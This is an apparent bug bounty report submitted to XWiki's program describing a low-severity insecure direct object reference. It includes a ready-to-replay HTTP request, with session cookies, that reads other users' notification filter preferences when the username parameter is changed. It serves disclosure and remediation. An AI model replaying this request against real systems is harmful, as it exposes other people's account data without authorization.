Read notification filters of other users

SUBMISSION REFERENCES

• Submission code: XWIKI-NAQA1W0P
• Submission URL: https://www.intigriti.com/auth/dashboard?redirect=/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-NAQA1W0P

RESEARCHER INFORMATION

• Submitter: bruhbey

SUBMISSION INFORMATION

• Created at: Thu, 03 Nov 2022 08:46:30 GMT
• Submission status: Archived

REPORT CONTENT

• Severity: Low
• Domain: https://intigriti.xwiki.com/ (Url)
• Proof of concept: Hey

Summary:

• IDOR on notification filter

Steps:

• login your account
• you can use this request to see other users notification filters (i think you can see who follows whose from there)

GET /xwiki/bin/get/XWiki/Notifications/Code/NotificationFilterPreferenceLivetableResults?outputSyntax=plain&transprefix=notifications.settings.filters.preferences.custom.table.&classname=&collist=name%2CfilterType%2CeventTypes%2CnotificationFormats%2CisEnabled&queryFilters=currentlanguage%2Chidden&eventType=&format=&type=custom&user=xwiki:XWiki.username&offset=1&limit=10&reqNo=1 HTTP/1.1
Host: intigriti.xwiki.com
Connection: close
Accept: text/javascript, text/html, application/xml, text/xml, /
X-Prototype-Version: 1.7.3
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://intigriti.xwiki.com/xwiki/bin/view/XWiki/bruhboyitest
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=CE3E506BEFD1B5B0B49D533A3B374347; username="9c0MhyM7A8QmSdvO0VSFqQ_"; password="3zG4GTGXE6KBpi89DD8rzA_"; rememberme="false"; validation="d83cad3676f38d46129006f73ac6dea2"

• you can simply change username to reproduce issue.If you go to victim's page,you are gonna see that you can not reach his notification,i am gonna show on poc video

I will add poc video

Thanks

• Impact: IDOR
• Personal data involved: No
• Endpoint: https://intigriti.xwiki.com/xwiki/bin/get/XWiki/Notifications/Code/NotificationFilterPreferenceLivetableResults?user=xwiki:XWiki.<USERNAME>
• Type: Insecure Direct Object Reference
• Attachments: No attachments available